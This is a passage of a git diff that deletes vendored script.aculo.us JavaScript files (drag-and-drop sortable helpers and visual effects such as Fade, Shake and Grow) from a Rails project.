-
-      var child = {
-        id: encodeURIComponent(match ? match[1] : null),
-        element: element,
-        parent: parent,
-        children: [],
-        position: parent.children.length,
-        container: $(children[i]).down(options.treeTag)
-      };
-
-      /* Get the element containing the children and recurse over it */
-      if (child.container)
-        this._tree(child.container, options, child);
-
-      parent.children.push (child);
-    }
-
-    return parent;
-  },
-
-  tree: function(element) {
-    element = $(element);
-    var sortableOptions = this.options(element);
-    var options = Object.extend({
-      tag: sortableOptions.tag,
-      treeTag: sortableOptions.treeTag,
-      only: sortableOptions.only,
-      name: element.id,
-      format: sortableOptions.format
-    }, arguments[1] || { });
-
-    var root = {
-      id: null,
-      parent: null,
-      children: [],
-      container: element,
-      position: 0
-    };
-
-    return Sortable._tree(element, options, root);
-  },
-
-  /* Construct a [i] index for a particular node */
-  _constructIndex: function(node) {
-    var index = '';
-    do {
-      if (node.id) index = '[' + node.position + ']' + index;
-    } while ((node = node.parent) != null);
-    return index;
-  },
-
-  sequence: function(element) {
-    element = $(element);
-    var options = Object.extend(this.options(element), arguments[1] || { });
-
-    return $(this.findElements(element, options) || []).map( function(item) {
-      return item.id.match(options.format) ? item.id.match(options.format)[1] : '';
-    });
-  },
-
-  setSequence: function(element, new_sequence) {
-    element = $(element);
-    var options = Object.extend(this.options(element), arguments[2] || { });
-
-    var nodeMap = { };
-    this.findElements(element, options).each( function(n) {
-        if (n.id.match(options.format))
-            nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode];
-        n.parentNode.removeChild(n);
-    });
-
-    new_sequence.each(function(ident) {
-      var n = nodeMap[ident];
-      if (n) {
-        n[1].appendChild(n[0]);
-        delete nodeMap[ident];
-      }
-    });
-  },
-
-  serialize: function(element) {
-    element = $(element);
-    var options = Object.extend(Sortable.options(element), arguments[1] || { });
-    var name = encodeURIComponent(
-      (arguments[1] && arguments[1].name) ? arguments[1].name : element.id);
-
-    if (options.tree) {
-      return Sortable.tree(element, arguments[1]).children.map( function (item) {
-        return [name + Sortable._constructIndex(item) + "[id]=" +
-                encodeURIComponent(item.id)].concat(item.children.map(arguments.callee));
-      }).flatten().join('&');
-    } else {
-      return Sortable.sequence(element, arguments[1]).map( function(item) {
-        return name + "[]=" + encodeURIComponent(item);
-      }).join('&');
-    }
-  }
-};
-
-// Returns true if child is contained within element
-Element.isParent = function(child, element) {
-  if (!child.parentNode || child == element) return false;
-  if (child.parentNode == element) return true;
-  return Element.isParent(child.parentNode, element);
-};
-
-Element.findChildren = function(element, only, recursive, tagName) {
-  if(!element.hasChildNodes()) return null;
-  tagName = tagName.toUpperCase();
-  if(only) only = [only].flatten();
-  var elements = [];
-  $A(element.childNodes).each( function(e) {
-    if(e.tagName && e.tagName.toUpperCase()==tagName &&
-      (!only || (Element.classNames(e).detect(function(v) { return only.include(v) }))))
-        elements.push(e);
-    if(recursive) {
-      var grandchildren = Element.findChildren(e, only, recursive, tagName);
-      if(grandchildren) elements.push(grandchildren);
-    }
-  });
-
-  return (elements.length>0 ? elements.flatten() : []);
-};
-
-Element.offsetSize = function (element, type) {
-  return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')];
-};
\ No newline at end of file
diff --git a/vendor/rails/railties/html/javascripts/effects.js b/vendor/rails/railties/html/javascripts/effects.js
deleted file mode 100644
index 5a639d2d..00000000
--- a/vendor/rails/railties/html/javascripts/effects.js
+++ /dev/null
@@ -1,1128 +0,0 @@
-// Copyright (c) 2005-2008 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
-// Contributors:
-//  Justin Palmer (http://encytemedia.com/)
-//  Mark Pilgrim (http://diveintomark.org/)
-//  Martin Bialasinki
-//
-// script.aculo.us is freely distributable under the terms of an MIT-style license.
-// For details, see the script.aculo.us web site: http://script.aculo.us/
-
-// converts rgb() and #xxx to #xxxxxx format,
-// returns self (or first argument) if not convertable
-String.prototype.parseColor = function() {
-  var color = '#';
-  if (this.slice(0,4) == 'rgb(') {
-    var cols = this.slice(4,this.length-1).split(',');
-    var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3);
-  } else {
-    if (this.slice(0,1) == '#') {
-      if (this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase();
-      if (this.length==7) color = this.toLowerCase();
-    }
-  }
-  return (color.length==7 ? color : (arguments[0] || this));
-};
-
-/*--------------------------------------------------------------------------*/
-
-Element.collectTextNodes = function(element) {
-  return $A($(element).childNodes).collect( function(node) {
-    return (node.nodeType==3 ? node.nodeValue :
-      (node.hasChildNodes() ? Element.collectTextNodes(node) : ''));
-  }).flatten().join('');
-};
-
-Element.collectTextNodesIgnoreClass = function(element, className) {
-  return $A($(element).childNodes).collect( function(node) {
-    return (node.nodeType==3 ? node.nodeValue :
-      ((node.hasChildNodes() && !Element.hasClassName(node,className)) ?
-        Element.collectTextNodesIgnoreClass(node, className) : ''));
-  }).flatten().join('');
-};
-
-Element.setContentZoom = function(element, percent) {
-  element = $(element);
-  element.setStyle({fontSize: (percent/100) + 'em'});
-  if (Prototype.Browser.WebKit) window.scrollBy(0,0);
-  return element;
-};
-
-Element.getInlineOpacity = function(element){
-  return $(element).style.opacity || '';
-};
-
-Element.forceRerendering = function(element) {
-  try {
-    element = $(element);
-    var n = document.createTextNode(' ');
-    element.appendChild(n);
-    element.removeChild(n);
-  } catch(e) { }
-};
-
-/*--------------------------------------------------------------------------*/
-
-var Effect = {
-  _elementDoesNotExistError: {
-    name: 'ElementDoesNotExistError',
-    message: 'The specified DOM element does not exist, but is required for this effect to operate'
-  },
-  Transitions: {
-    linear: Prototype.K,
-    sinoidal: function(pos) {
-      return (-Math.cos(pos*Math.PI)/2) + .5;
-    },
-    reverse: function(pos) {
-      return 1-pos;
-    },
-    flicker: function(pos) {
-      var pos = ((-Math.cos(pos*Math.PI)/4) + .75) + Math.random()/4;
-      return pos > 1 ? 1 : pos;
-    },
-    wobble: function(pos) {
-      return (-Math.cos(pos*Math.PI*(9*pos))/2) + .5;
-    },
-    pulse: function(pos, pulses) {
-      return (-Math.cos((pos*((pulses||5)-.5)*2)*Math.PI)/2) + .5;
-    },
-    spring: function(pos) {
-      return 1 - (Math.cos(pos * 4.5 * Math.PI) * Math.exp(-pos * 6));
-    },
-    none: function(pos) {
-      return 0;
-    },
-    full: function(pos) {
-      return 1;
-    }
-  },
-  DefaultOptions: {
-    duration:   1.0,   // seconds
-    fps:        100,   // 100= assume 66fps max.
-    sync:       false, // true for combining
-    from:       0.0,
-    to:         1.0,
-    delay:      0.0,
-    queue:      'parallel'
-  },
-  tagifyText: function(element) {
-    var tagifyStyle = 'position:relative';
-    if (Prototype.Browser.IE) tagifyStyle += ';zoom:1';
-
-    element = $(element);
-    $A(element.childNodes).each( function(child) {
-      if (child.nodeType==3) {
-        child.nodeValue.toArray().each( function(character) {
-          element.insertBefore(
-            new Element('span', {style: tagifyStyle}).update(
-              character == ' ' ? String.fromCharCode(160) : character),
-              child);
-        });
-        Element.remove(child);
-      }
-    });
-  },
-  multiple: function(element, effect) {
-    var elements;
-    if (((typeof element == 'object') ||
-        Object.isFunction(element)) &&
-       (element.length))
-      elements = element;
-    else
-      elements = $(element).childNodes;
-
-    var options = Object.extend({
-      speed: 0.1,
-      delay: 0.0
-    }, arguments[2] || { });
-    var masterDelay = options.delay;
-
-    $A(elements).each( function(element, index) {
-      new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay }));
-    });
-  },
-  PAIRS: {
-    'slide':  ['SlideDown','SlideUp'],
-    'blind':  ['BlindDown','BlindUp'],
-    'appear': ['Appear','Fade']
-  },
-  toggle: function(element, effect) {
-    element = $(element);
-    effect = (effect || 'appear').toLowerCase();
-    var options = Object.extend({
-      queue: { position:'end', scope:(element.id || 'global'), limit: 1 }
-    }, arguments[2] || { });
-    Effect[element.visible() ?
-      Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options);
-  }
-};
-
-Effect.DefaultOptions.transition = Effect.Transitions.sinoidal;
-
-/* ------------- core effects ------------- */
-
-Effect.ScopedQueue = Class.create(Enumerable, {
-  initialize: function() {
-    this.effects  = [];
-    this.interval = null;
-  },
-  _each: function(iterator) {
-    this.effects._each(iterator);
-  },
-  add: function(effect) {
-    var timestamp = new Date().getTime();
-
-    var position = Object.isString(effect.options.queue) ?
-      effect.options.queue : effect.options.queue.position;
-
-    switch(position) {
-      case 'front':
-        // move unstarted effects after this effect
-        this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) {
-            e.startOn  += effect.finishOn;
-            e.finishOn += effect.finishOn;
-          });
-        break;
-      case 'with-last':
-        timestamp = this.effects.pluck('startOn').max() || timestamp;
-        break;
-      case 'end':
-        // start effect after last queued effect has finished
-        timestamp = this.effects.pluck('finishOn').max() || timestamp;
-        break;
-    }
-
-    effect.startOn  += timestamp;
-    effect.finishOn += timestamp;
-
-    if (!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit))
-      this.effects.push(effect);
-
-    if (!this.interval)
-      this.interval = setInterval(this.loop.bind(this), 15);
-  },
-  remove: function(effect) {
-    this.effects = this.effects.reject(function(e) { return e==effect });
-    if (this.effects.length == 0) {
-      clearInterval(this.interval);
-      this.interval = null;
-    }
-  },
-  loop: function() {
-    var timePos = new Date().getTime();
-    for(var i=0, len=this.effects.length;i<len;i++)
-      this.effects[i] && this.effects[i].loop(timePos);
-  }
-});
-
-Effect.Queues = {
-  instances: $H(),
-  get: function(queueName) {
-    if (!Object.isString(queueName)) return queueName;
-
-    return this.instances.get(queueName) ||
-      this.instances.set(queueName, new Effect.ScopedQueue());
-  }
-};
-Effect.Queue = Effect.Queues.get('global');
-
-Effect.Base = Class.create({
-  position: null,
-  start: function(options) {
-    function codeForEvent(options,eventName){
-      return (
-        (options[eventName+'Internal'] ? 'this.options.'+eventName+'Internal(this);' : '') +
-        (options[eventName] ? 'this.options.'+eventName+'(this);' : '')
-      );
-    }
-    if (options && options.transition === false) options.transition = Effect.Transitions.linear;
-    this.options      = Object.extend(Object.extend({ },Effect.DefaultOptions), options || { });
-    this.currentFrame = 0;
-    this.state        = 'idle';
-    this.startOn      = this.options.delay*1000;
-    this.finishOn     = this.startOn+(this.options.duration*1000);
-    this.fromToDelta  = this.options.to-this.options.from;
-    this.totalTime    = this.finishOn-this.startOn;
-    this.totalFrames  = this.options.fps*this.options.duration;
-
-    this.render = (function() {
-      function dispatch(effect, eventName) {
-        if (effect.options[eventName + 'Internal'])
-          effect.options[eventName + 'Internal'](effect);
-        if (effect.options[eventName])
-          effect.options[eventName](effect);
-      }
-
-      return function(pos) {
-        if (this.state === "idle") {
-          this.state = "running";
-          dispatch(this, 'beforeSetup');
-          if (this.setup) this.setup();
-          dispatch(this, 'afterSetup');
-        }
-        if (this.state === "running") {
-          pos = (this.options.transition(pos) * this.fromToDelta) + this.options.from;
-          this.position = pos;
-          dispatch(this, 'beforeUpdate');
-          if (this.update) this.update(pos);
-          dispatch(this, 'afterUpdate');
-        }
-      };
-    })();
-
-    this.event('beforeStart');
-    if (!this.options.sync)
-      Effect.Queues.get(Object.isString(this.options.queue) ?
-        'global' : this.options.queue.scope).add(this);
-  },
-  loop: function(timePos) {
-    if (timePos >= this.startOn) {
-      if (timePos >= this.finishOn) {
-        this.render(1.0);
-        this.cancel();
-        this.event('beforeFinish');
-        if (this.finish) this.finish();
-        this.event('afterFinish');
-        return;
-      }
-      var pos   = (timePos - this.startOn) / this.totalTime,
-          frame = (pos * this.totalFrames).round();
-      if (frame > this.currentFrame) {
-        this.render(pos);
-        this.currentFrame = frame;
-      }
-    }
-  },
-  cancel: function() {
-    if (!this.options.sync)
-      Effect.Queues.get(Object.isString(this.options.queue) ?
-        'global' : this.options.queue.scope).remove(this);
-    this.state = 'finished';
-  },
-  event: function(eventName) {
-    if (this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this);
-    if (this.options[eventName]) this.options[eventName](this);
-  },
-  inspect: function() {
-    var data = $H();
-    for(property in this)
-      if (!Object.isFunction(this[property])) data.set(property, this[property]);
-    return '#<Effect:' + data.inspect() + ',options:' + $H(this.options).inspect() + '>';
-  }
-});
-
-Effect.Parallel = Class.create(Effect.Base, {
-  initialize: function(effects) {
-    this.effects = effects || [];
-    this.start(arguments[1]);
-  },
-  update: function(position) {
-    this.effects.invoke('render', position);
-  },
-  finish: function(position) {
-    this.effects.each( function(effect) {
-      effect.render(1.0);
-      effect.cancel();
-      effect.event('beforeFinish');
-      if (effect.finish) effect.finish(position);
-      effect.event('afterFinish');
-    });
-  }
-});
-
-Effect.Tween = Class.create(Effect.Base, {
-  initialize: function(object, from, to) {
-    object = Object.isString(object) ? $(object) : object;
-    var args = $A(arguments), method = args.last(),
-      options = args.length == 5 ? args[3] : null;
-    this.method = Object.isFunction(method) ? method.bind(object) :
-      Object.isFunction(object[method]) ? object[method].bind(object) :
-      function(value) { object[method] = value };
-    this.start(Object.extend({ from: from, to: to }, options || { }));
-  },
-  update: function(position) {
-    this.method(position);
-  }
-});
-
-Effect.Event = Class.create(Effect.Base, {
-  initialize: function() {
-    this.start(Object.extend({ duration: 0 }, arguments[0] || { }));
-  },
-  update: Prototype.emptyFunction
-});
-
-Effect.Opacity = Class.create(Effect.Base, {
-  initialize: function(element) {
-    this.element = $(element);
-    if (!this.element) throw(Effect._elementDoesNotExistError);
-    // make this work on IE on elements without 'layout'
-    if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
-      this.element.setStyle({zoom: 1});
-    var options = Object.extend({
-      from: this.element.getOpacity() || 0.0,
-      to:   1.0
-    }, arguments[1] || { });
-    this.start(options);
-  },
-  update: function(position) {
-    this.element.setOpacity(position);
-  }
-});
-
-Effect.Move = Class.create(Effect.Base, {
-  initialize: function(element) {
-    this.element = $(element);
-    if (!this.element) throw(Effect._elementDoesNotExistError);
-    var options = Object.extend({
-      x:    0,
-      y:    0,
-      mode: 'relative'
-    }, arguments[1] || { });
-    this.start(options);
-  },
-  setup: function() {
-    this.element.makePositioned();
-    this.originalLeft = parseFloat(this.element.getStyle('left') || '0');
-    this.originalTop  = parseFloat(this.element.getStyle('top')  || '0');
-    if (this.options.mode == 'absolute') {
-      this.options.x = this.options.x - this.originalLeft;
-      this.options.y = this.options.y - this.originalTop;
-    }
-  },
-  update: function(position) {
-    this.element.setStyle({
-      left: (this.options.x  * position + this.originalLeft).round() + 'px',
-      top:  (this.options.y  * position + this.originalTop).round()  + 'px'
-    });
-  }
-});
-
-// for backwards compatibility
-Effect.MoveBy = function(element, toTop, toLeft) {
-  return new Effect.Move(element,
-    Object.extend({ x: toLeft, y: toTop }, arguments[3] || { }));
-};
-
-Effect.Scale = Class.create(Effect.Base, {
-  initialize: function(element, percent) {
-    this.element = $(element);
-    if (!this.element) throw(Effect._elementDoesNotExistError);
-    var options = Object.extend({
-      scaleX: true,
-      scaleY: true,
-      scaleContent: true,
-      scaleFromCenter: false,
-      scaleMode: 'box',        // 'box' or 'contents' or { } with provided values
-      scaleFrom: 100.0,
-      scaleTo:   percent
-    }, arguments[2] || { });
-    this.start(options);
-  },
-  setup: function() {
-    this.restoreAfterFinish = this.options.restoreAfterFinish || false;
-    this.elementPositioning = this.element.getStyle('position');
-
-    this.originalStyle = { };
-    ['top','left','width','height','fontSize'].each( function(k) {
-      this.originalStyle[k] = this.element.style[k];
-    }.bind(this));
-
-    this.originalTop  = this.element.offsetTop;
-    this.originalLeft = this.element.offsetLeft;
-
-    var fontSize = this.element.getStyle('font-size') || '100%';
-    ['em','px','%','pt'].each( function(fontSizeType) {
-      if (fontSize.indexOf(fontSizeType)>0) {
-        this.fontSize     = parseFloat(fontSize);
-        this.fontSizeType = fontSizeType;
-      }
-    }.bind(this));
-
-    this.factor = (this.options.scaleTo - this.options.scaleFrom)/100;
-
-    this.dims = null;
-    if (this.options.scaleMode=='box')
-      this.dims = [this.element.offsetHeight, this.element.offsetWidth];
-    if (/^content/.test(this.options.scaleMode))
-      this.dims = [this.element.scrollHeight, this.element.scrollWidth];
-    if (!this.dims)
-      this.dims = [this.options.scaleMode.originalHeight,
-                   this.options.scaleMode.originalWidth];
-  },
-  update: function(position) {
-    var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position);
-    if (this.options.scaleContent && this.fontSize)
-      this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType });
-    this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale);
-  },
-  finish: function(position) {
-    if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle);
-  },
-  setDimensions: function(height, width) {
-    var d = { };
-    if (this.options.scaleX) d.width = width.round() + 'px';
-    if (this.options.scaleY) d.height = height.round() + 'px';
-    if (this.options.scaleFromCenter) {
-      var topd  = (height - this.dims[0])/2;
-      var leftd = (width  - this.dims[1])/2;
-      if (this.elementPositioning == 'absolute') {
-        if (this.options.scaleY) d.top = this.originalTop-topd + 'px';
-        if (this.options.scaleX) d.left = this.originalLeft-leftd + 'px';
-      } else {
-        if (this.options.scaleY) d.top = -topd + 'px';
-        if (this.options.scaleX) d.left = -leftd + 'px';
-      }
-    }
-    this.element.setStyle(d);
-  }
-});
-
-Effect.Highlight = Class.create(Effect.Base, {
-  initialize: function(element) {
-    this.element = $(element);
-    if (!this.element) throw(Effect._elementDoesNotExistError);
-    var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || { });
-    this.start(options);
-  },
-  setup: function() {
-    // Prevent executing on elements not in the layout flow
-    if (this.element.getStyle('display')=='none') { this.cancel(); return; }
-    // Disable background image during the effect
-    this.oldStyle = { };
-    if (!this.options.keepBackgroundImage) {
-      this.oldStyle.backgroundImage = this.element.getStyle('background-image');
-      this.element.setStyle({backgroundImage: 'none'});
-    }
-    if (!this.options.endcolor)
-      this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff');
-    if (!this.options.restorecolor)
-      this.options.restorecolor = this.element.getStyle('background-color');
-    // init color calculations
-    this._base  = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this));
-    this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this));
-  },
-  update: function(position) {
-    this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){
-      return m+((this._base[i]+(this._delta[i]*position)).round().toColorPart()); }.bind(this)) });
-  },
-  finish: function() {
-    this.element.setStyle(Object.extend(this.oldStyle, {
-      backgroundColor: this.options.restorecolor
-    }));
-  }
-});
-
-Effect.ScrollTo = function(element) {
-  var options = arguments[1] || { },
-  scrollOffsets = document.viewport.getScrollOffsets(),
-  elementOffsets = $(element).cumulativeOffset();
-
-  if (options.offset) elementOffsets[1] += options.offset;
-
-  return new Effect.Tween(null,
-    scrollOffsets.top,
-    elementOffsets[1],
-    options,
-    function(p){ scrollTo(scrollOffsets.left, p.round()); }
-  );
-};
-
-/* ------------- combination effects ------------- */
-
-Effect.Fade = function(element) {
-  element = $(element);
-  var oldOpacity = element.getInlineOpacity();
-  var options = Object.extend({
-    from: element.getOpacity() || 1.0,
-    to:   0.0,
-    afterFinishInternal: function(effect) {
-      if (effect.options.to!=0) return;
-      effect.element.hide().setStyle({opacity: oldOpacity});
-    }
-  }, arguments[1] || { });
-  return new Effect.Opacity(element,options);
-};
-
-Effect.Appear = function(element) {
-  element = $(element);
-  var options = Object.extend({
-  from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0),
-  to:   1.0,
-  // force Safari to render floated elements properly
-  afterFinishInternal: function(effect) {
-    effect.element.forceRerendering();
-  },
-  beforeSetup: function(effect) {
-    effect.element.setOpacity(effect.options.from).show();
-  }}, arguments[1] || { });
-  return new Effect.Opacity(element,options);
-};
-
-Effect.Puff = function(element) {
-  element = $(element);
-  var oldStyle = {
-    opacity: element.getInlineOpacity(),
-    position: element.getStyle('position'),
-    top:  element.style.top,
-    left: element.style.left,
-    width: element.style.width,
-    height: element.style.height
-  };
-  return new Effect.Parallel(
-   [ new Effect.Scale(element, 200,
-      { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }),
-     new Effect.Opacity(element, { sync: true, to: 0.0 } ) ],
-     Object.extend({ duration: 1.0,
-      beforeSetupInternal: function(effect) {
-        Position.absolutize(effect.effects[0].element);
-      },
-      afterFinishInternal: function(effect) {
-         effect.effects[0].element.hide().setStyle(oldStyle); }
-     }, arguments[1] || { })
-   );
-};
-
-Effect.BlindUp = function(element) {
-  element = $(element);
-  element.makeClipping();
-  return new Effect.Scale(element, 0,
-    Object.extend({ scaleContent: false,
-      scaleX: false,
-      restoreAfterFinish: true,
-      afterFinishInternal: function(effect) {
-        effect.element.hide().undoClipping();
-      }
-    }, arguments[1] || { })
-  );
-};
-
-Effect.BlindDown = function(element) {
-  element = $(element);
-  var elementDimensions = element.getDimensions();
-  return new Effect.Scale(element, 100, Object.extend({
-    scaleContent: false,
-    scaleX: false,
-    scaleFrom: 0,
-    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
-    restoreAfterFinish: true,
-    afterSetup: function(effect) {
-      effect.element.makeClipping().setStyle({height: '0px'}).show();
-    },
-    afterFinishInternal: function(effect) {
-      effect.element.undoClipping();
-    }
-  }, arguments[1] || { }));
-};
-
-Effect.SwitchOff = function(element) {
-  element = $(element);
-  var oldOpacity = element.getInlineOpacity();
-  return new Effect.Appear(element, Object.extend({
-    duration: 0.4,
-    from: 0,
-    transition: Effect.Transitions.flicker,
-    afterFinishInternal: function(effect) {
-      new Effect.Scale(effect.element, 1, {
-        duration: 0.3, scaleFromCenter: true,
-        scaleX: false, scaleContent: false, restoreAfterFinish: true,
-        beforeSetup: function(effect) {
-          effect.element.makePositioned().makeClipping();
-        },
-        afterFinishInternal: function(effect) {
-          effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity});
-        }
-      });
-    }
-  }, arguments[1] || { }));
-};
-
-Effect.DropOut = function(element) {
-  element = $(element);
-  var oldStyle = {
-    top: element.getStyle('top'),
-    left: element.getStyle('left'),
-    opacity: element.getInlineOpacity() };
-  return new Effect.Parallel(
-    [ new Effect.Move(element, {x: 0, y: 100, sync: true }),
-      new Effect.Opacity(element, { sync: true, to: 0.0 }) ],
-    Object.extend(
-      { duration: 0.5,
-        beforeSetup: function(effect) {
-          effect.effects[0].element.makePositioned();
-        },
-        afterFinishInternal: function(effect) {
-          effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle);
-        }
-      }, arguments[1] || { }));
-};
-
-Effect.Shake = function(element) {
-  element = $(element);
-  var options = Object.extend({
-    distance: 20,
-    duration: 0.5
-  }, arguments[1] || {});
-  var distance = parseFloat(options.distance);
-  var split = parseFloat(options.duration) / 10.0;
-  var oldStyle = {
-    top: element.getStyle('top'),
-    left: element.getStyle('left') };
-    return new Effect.Move(element,
-      { x:  distance, y: 0, duration: split, afterFinishInternal: function(effect) {
-    new Effect.Move(effect.element,
-      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
-    new Effect.Move(effect.element,
-      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
-    new Effect.Move(effect.element,
-      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
-    new Effect.Move(effect.element,
-      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
-    new Effect.Move(effect.element,
-      { x: -distance, y: 0, duration: split, afterFinishInternal: function(effect) {
-        effect.element.undoPositioned().setStyle(oldStyle);
-  }}); }}); }}); }}); }}); }});
-};
-
-Effect.SlideDown = function(element) {
-  element = $(element).cleanWhitespace();
-  // SlideDown need to have the content of the element wrapped in a container element with fixed height!
-  var oldInnerBottom = element.down().getStyle('bottom');
-  var elementDimensions = element.getDimensions();
-  return new Effect.Scale(element, 100, Object.extend({
-    scaleContent: false,
-    scaleX: false,
-    scaleFrom: window.opera ? 0 : 1,
-    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
-    restoreAfterFinish: true,
-    afterSetup: function(effect) {
-      effect.element.makePositioned();
-      effect.element.down().makePositioned();
-      if (window.opera) effect.element.setStyle({top: ''});
-      effect.element.makeClipping().setStyle({height: '0px'}).show();
-    },
-    afterUpdateInternal: function(effect) {
-      effect.element.down().setStyle({bottom:
-        (effect.dims[0] - effect.element.clientHeight) + 'px' });
-    },
-    afterFinishInternal: function(effect) {
-      effect.element.undoClipping().undoPositioned();
-      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); }
-    }, arguments[1] || { })
-  );
-};
-
-Effect.SlideUp = function(element) {
-  element = $(element).cleanWhitespace();
-  var oldInnerBottom = element.down().getStyle('bottom');
-  var elementDimensions = element.getDimensions();
-  return new Effect.Scale(element, window.opera ? 0 : 1,
-   Object.extend({ scaleContent: false,
-    scaleX: false,
-    scaleMode: 'box',
-    scaleFrom: 100,
-    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
-    restoreAfterFinish: true,
-    afterSetup: function(effect) {
-      effect.element.makePositioned();
-      effect.element.down().makePositioned();
-      if (window.opera) effect.element.setStyle({top: ''});
-      effect.element.makeClipping().show();
-    },
-    afterUpdateInternal: function(effect) {
-      effect.element.down().setStyle({bottom:
-        (effect.dims[0] - effect.element.clientHeight) + 'px' });
-    },
-    afterFinishInternal: function(effect) {
-      effect.element.hide().undoClipping().undoPositioned();
-      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom});
-    }
-   }, arguments[1] || { })
-  );
-};
-
-// Bug in opera makes the TD containing this element expand for a instance after finish
-Effect.Squish = function(element) {
-  return new Effect.Scale(element, window.opera ? 1 : 0, {
-    restoreAfterFinish: true,
-    beforeSetup: function(effect) {
-      effect.element.makeClipping();
-    },
-    afterFinishInternal: function(effect) {
-      effect.element.hide().undoClipping();
-    }
-  });
-};
-
-Effect.Grow = function(element) {
-  element = $(element);
-  var options = Object.extend({
-    direction: 'center',
-    moveTransition: Effect.Transitions.sinoidal,
-    scaleTransition: Effect.Transitions.sinoidal,
-    opacityTransition: Effect.Transitions.full
-  }, arguments[1] || { });
-  var oldStyle = {
-    top: element.style.top,
-    left: element.style.left,
-    height: element.style.height,
-    width: element.style.width,
-    opacity: element.getInlineOpacity() };
-
-  var dims = element.getDimensions();
-  var initialMoveX, initialMoveY;
-  var moveX, moveY;
-
-  switch (options.direction) {
-    case 'top-left':
-      initialMoveX = initialMoveY = moveX = moveY = 0;
-      break;
-    case 'top-right':
-      initialMoveX = dims.width;
-      initialMoveY = moveY = 0;
-      moveX = -dims.width;
-      break;
-    case 'bottom-left':
-      initialMoveX = moveX = 0;
-      initialMoveY = dims.height;
-      moveY = -dims.height;
-      break;
-    case 'bottom-right':
-      initialMoveX = dims.width;
-      initialMoveY = dims.height;
-      moveX = -dims.width;
-      moveY = -dims.height;
-      break;
-    case 'center':
-      initialMoveX = dims.width / 2;
-      initialMoveY = dims.height / 2;
-      moveX = -dims.width / 2;
-      moveY = -dims.height / 2;
-      break;
-  }
-
-  return new Effect.Move(element, {
-    x: initialMoveX,
-    y: initialMoveY,
-    duration: 0.01,
-    beforeSetup: function(effect) {
-      effect.element.hide().makeClipping().makePositioned();
-    },
-    afterFinishInternal: function(effect) {
-      new Effect.Parallel(
-        [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }),
-          new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }),
-          new Effect.Scale(effect.element, 100, {
-            scaleMode: { originalHeight: dims.height, originalWidth: dims.width },
-            sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true})
-        ], Object.extend({
-             beforeSetup: function(effect) {
-               effect.effects[0].element.setStyle({height: '0px'}).show();
-             },
-             afterFinishInternal: function(effect) {
-               effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle);
-             }
-           }, options)
-      );
-    }
-  });
-};
-
-Effect.Shrink = function(element) {
-  element = $(element);
-  var options = Object.extend({
-    direction: 'center',
-    moveTransition: Effect.Transitions.sinoidal,
-    scaleTransition: Effect.Transitions.sinoidal,
-    opacityTransition: Effect.Transitions.none
-  }, arguments[1] || { });
-  var oldStyle = {
-    top: element.style.top,
-    left: element.style.left,
-    height: element.style.height,
-    width: element.style.width,
-    opacity: element.getInlineOpacity() };
-
-  var dims = element.getDimensions();
-  var moveX, moveY;
-
-  switch (options.direction) {
-    case 'top-left':
-      moveX = moveY = 0;
-      break;
-    case 'top-right':
-      moveX = dims.width;
-      moveY = 0;
-      break;
-    case 'bottom-left':
-      moveX = 0;
-      moveY = dims.height;
-      break;
-    case 'bottom-right':
-      moveX = dims.width;
-      moveY = dims.height;
-      break;
-    case 'center':
-      moveX = dims.width / 2;
-      moveY = dims.height / 2;
-      break;
-  }
-
-  return new Effect.Parallel(
-    [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }),
-      new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}),
-      new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition })
-    ], Object.extend({
-         beforeStartInternal: function(effect) {
-           effect.effects[0].element.makePositioned().makeClipping();
-         },
-         afterFinishInternal: function(effect) {
-           effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); }
-       }, options)
-  );
-};
-
-Effect.Pulsate = function(element) {
-  element = $(element);
-  var options    = arguments[1] || { },
-    oldOpacity = element.getInlineOpacity(),
-    transition = options.transition || Effect.Transitions.linear,
-    reverser   = function(pos){
-      return 1 - transition((-Math.cos((pos*(options.pulses||5)*2)*Math.PI)/2) + .5);
-    };
-
